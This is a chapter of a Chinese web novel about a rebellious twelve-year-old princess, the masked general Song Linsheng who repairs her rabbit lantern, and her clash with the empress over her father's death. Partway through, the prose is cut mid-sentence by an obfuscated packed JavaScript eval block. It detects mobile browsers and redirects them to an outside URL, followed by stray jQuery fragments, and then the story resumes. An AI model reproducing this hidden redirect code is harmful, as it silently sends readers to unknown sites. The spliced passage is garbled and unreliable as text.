31. 回忆章(三)

作品:《他假扮替身后

    二人僵持了一会儿,元嘉感觉手上的药膏快要凝固了,也不管别的,当即就用手将药膏敷在了宋阳的额头上。


    他没有动,但是眼中略带错愕。


    上了药膏的元嘉先松了一口气,对宋麟生道:“本公主是来上药膏的,不是来揭你面具的。”


    宋麟生观察着她,他似乎发现,元嘉根本不怕他这张脸。


    有些时候,他会偷偷在夜里摘下这张面具,坐在铜镜前,第一眼看见连自己都害怕。


    难道是因为,她天生反骨吗?


    最终,宋麟生还是没有伤害她,他沉了一口气,用细微颤抖的手,重新带上面具。


    元嘉凑近了些,一双大大的眼睛里满是好奇:“你的脸是什么伤的?”


    此刻的宋麟生已经重新戴上了面具,即便看不到神情,但是能看到她的脸格外冷淡:“公主,你来到这里,又为我上药,是黄鼠狼给鸡拜年,没安好心吗?”


    一听这话,元嘉不满意了:“没安好心?才没有,我是……”


    “是什么?”


    元嘉张了张口,复而抿紧,那些关心,那些在意,迟迟没有说出口。


    宋麟生冷冷一哼:“公主是怕把我打死了,心里愧疚,怕担上罪责,为你如今的环境雪上加霜,对吗?”


    “你……”元嘉咬咬牙,“是,本公主怕你死了,天气炎热,伤口感染,宋将军也不顾好自己?”


    宋麟生别开眼,他不仅笃定她是假惺惺的关心,更不屑于与她说一句话。


    他拾起手边的银质面具,就在面具准备重新带上时,元嘉一把抓住他的手腕:“等等。”


    那人不解地看着他。


    就在这时,元嘉一把扯过他的寝衣,就这样撕下一块布条,宋麟生面色一变,抓着她的胳膊:“你做什么?”


    “包扎。”


    说着,元嘉甩开他的手,就这样一圈环绕一圈,慢慢地包扎起来。


    宋麟生的手攥紧了拳头,复而又松开,心中的怨气在缠绕的绷带下,似乎化解了许多。


    “下次,下次再吵架。”元嘉断断续续地说,“本公主不动手,你也不准动手,你听见了没?”


    “嗯。”


    宋麟生擅长算计人心,但却用很长时间,去猜元嘉说得话。


    她是在,因为失手伤他的事,在道歉。


    小公主的第一层心房,竟然是以这样的方式,无声无息的撬开,这是宋阳从未料到的。


    如果……不是因为,那个小兔子灯。


    元嘉包着包着,控制不住打了个哈欠,毕竟为了找到时机来给宋麟生上药泥,她可是苦苦熬了两个时辰。


    困都困死了。


    等包扎完,紧紧系了个结,随后视线越来越模糊,直至黑暗……


    黑暗里,宋麟生将她打横抱起,先是将她放置在了屋中的小塌上,连被子都没盖。


    随后,过了一会儿,榻上的人又从床榻边坐立起来,重新来到小塌边,将元嘉抱到自己的床榻上,用被褥将她盖得严严实实的。


    至于宋麟生自己,他没有立刻就睡在那张小塌上。


    夜黑风高,一抹黑影忽地一转眼,从树丛间闪过,又忽地一转眼,闪到了房瓦上。


    宋麟生就这样悄无声息地,来到了元嘉公主的闺房。


    书案上还七零八落地散落着墨笔,其中一支墨还滴落到了洁白的宣纸上。


    ……在军中谁的住处若是这样琐乱,他断然也会罚那个人跪三天,以儆效尤。


    漆黑的房间里,宋麟生找了许久,终于在凌乱地被褥下,翻出那盏已经坏了的小兔子灯。


    他将兔子灯捧起来,低眸就这样静静望着,神色复杂,随后利落地翻窗而出,好似一直未曾来过一样。


    ……


    第二日,元嘉从宋麟生的塌上醒过来,他已然去上早朝了,桌上只放置了一碗热粥,和一盏新的小兔子灯。


    元嘉愣了一下。


    她几乎不敢相信,下床后的元嘉,甚至都来不及穿上鞋子,就这样赤着脚下床,伸手去碰那个小兔子灯。


    灯芯还在燃烧着,发出橙黄色的,温暖的光芒。


    元嘉喃喃道:“父皇的兔子灯修好了?谁修的?宋麟生?”


    除了宋麟生,她想不到任何人了。


    她的手搂紧了兔子灯,忽然想到了父皇,因为当兔子灯坏了之后,元嘉是多么希望,父皇还在这个世上,将她的兔子灯重新修好。


    ——


    几天后,宋麟生的头受伤一事,不知怎得就传到了卫皇后的耳朵里。


    那一天,元嘉被卫皇后叫到了慈宁宫,小公主依旧像往常一样,闷着气一言不发。


    此时的卫皇后,已经怀胎八月,将到临盆之期了,她没想到这个特殊之期,得知了宋麟生受伤一事,她竭力控制语气:“宋将军的头,是怎么伤的?”


    元嘉倒是诚实:“本公主打的。”


    张嬷嬷见元嘉说得这样轻松,一时惊愕:“公主,宋将军也是大元的少将,为陛下平定过周边小国,你竟然……”


    “你们,知道本公主不好惹,就让宋麟生走啊,换一个教养嬷嬷来,不过,再换一个教养嬷嬷,她可就没宋麟生这么好的运气了。”


    卫皇后一手捂着腹部,一手拍案:“你还要杀人不成?你如今才十二,日后大了,岂能得了!连规矩礼法都不懂。”


    元嘉却说:“有些人该杀,本公主自然就杀,才顾不得什么规矩礼法呢。”


    如此不成体统的发言,让慈宁宫的宫门们的心纷纷提了起来。


    一旁的张嬷嬷见状,实在担忧卫皇后的凤体,于是提议道:“皇后娘娘莫气,实在不行,就像往常那样,让公主回到禁宫领罚,断了她两日的膳食?”


    “日日断膳食,她日日可有改了?”


    “是奴婢疏忽了,若皇后娘娘不忍痛割爱,怕是元嘉公主会更加无法无天,要不……按宫归处置,关入大理寺?”


    元嘉抬起杏眼,眼眸熠熠。


    卫皇后看着元嘉,良久才道:“就这样吧,关入大理寺,屡教不改的话,用一些非常手段也不是不可。”


    要知道,大理寺的刑罚,几乎与寻常人犯错无异了,只不过,大元开国以来,都没有关过皇嗣的先例。


    许多已经步入婚嫁之龄的男女,都遭受不过这样的刑罚,何况是一个,年仅十二岁的小姑娘。


    元嘉低下头,小拳头攥得死紧,一声没吭更是没怕。


    卫皇后见状,给张嬷嬷一个眼色,张嬷嬷立马会意,让殿中的其他侍女都


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16350341|183567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下去。


    “嘉儿。”卫皇后竟是提及了往事,“你五岁时很是黏着本宫,那时的你,乖巧懂事,讨人喜爱……”


    元嘉仍旧在低头,神色一如既往地倔强,袖口下的拳头,却攥得更紧了。


    便听卫皇后继续道:“你五岁的时候多好啊?究竟是在什么时候,变成现在这种惹人讨厌的样子?”


    恰逢此时,黑衣青年刚刚得了传召,来到慈宁宫,宋麟生头上的绷带还在,只不过伤口还是能够感到丝丝凉凉的痛。


    于是,他刚在殿外站定,就见到殿内的元嘉含泪怒道:“惹人讨厌?你懂什么,你已经忘记父皇了,有什么资格说本公主?”


    宋麟生怔愣了一下。


    跪在地上的元嘉早已站了起来,此刻的她,这世上所有的利益与规矩,在她身上好像完全都不存在了。


    卫皇后皱眉:“与你父皇有什么干系?你父皇也是个温顺性子,难道你怪他随给你不成!”


    “我的父皇死了,母后你不仅没有祭奠他,还……还嫁给了二叔。”


    宋麟生一愣,便听元嘉一边落泪,一边咬牙接着说道:“母后,本公主懂的,女子的夫君在时,只能钟情丈夫一人,都是约定好的。”


    但是,卫皇后失约了。


    元嘉五岁的那年生辰,正好是她的父皇元庆帝,存活于世的最后一年。


    她至今仍然还记得,当黎明未至,元嘉在卫皇后的怀里尚未睡醒时,父皇就早早地起塌了。


    然后,昏暗的大殿中,他与睁开眼睛的元嘉对视一秒,忽然露出一个宠溺的笑。


    “爹爹……父……”


    元庆帝比了一个嘘的手势。


    “嘉儿,父皇要去打猎了,待回来,就有你最爱的糖水棍儿了。”


    之后,元庆帝踏着夜色,离开了皇宫,这一去复返后,回来时已然是另一副光景了。


    当日的深夜,一口金丝楠木的棺材被几名宫人从皇宫的寝殿里抬了出来,元嘉从他们的口中得知,父皇旧伤复发,驾崩了。


    她不相信,父皇还说要买糖水给她,怎么会驾崩呢?


    宫人们拦着元嘉,不让她把棺材盖推开,她没有办法,拼了命去找母后。


    后来,她终于在慈宁殿中找到母后了,却撞见了二叔与母后拥抱的一幕。


    那一晚,元嘉永远难忘,她的父皇明明才刚死,为什么二叔和母后在一起了呢?


    ……


    思绪回到现在,元嘉与卫皇后之间已经到了最焦灼的时候,卫皇后已经不想再同这个女儿多言。


    她下定决心,要让元嘉去大理寺,小孩子若不及时管教,长大了还得了?!


    殿中吵得火热,根本没注意到有外人正立在殿外,看着殿内的这一幕,几个身强力壮的少女上前,一把将元嘉架了起来。


    “放开本公主!放开!本公主不去大理寺!不去!”


    元嘉一个劲儿地甩胳膊,可双拳难敌四手,无论她怎么反抗,都无济于事。


    直到一只黑靴绊倒了其中一位嬷嬷,另一个嬷嬷还没反应过来,右臂被迅速地折过去,下一秒被人一个肘击,打倒在地。


    伏在地上的元嘉,缓缓抬眼,看向那个,昨夜为她修好小兔子灯的人。


    “宋麟生?”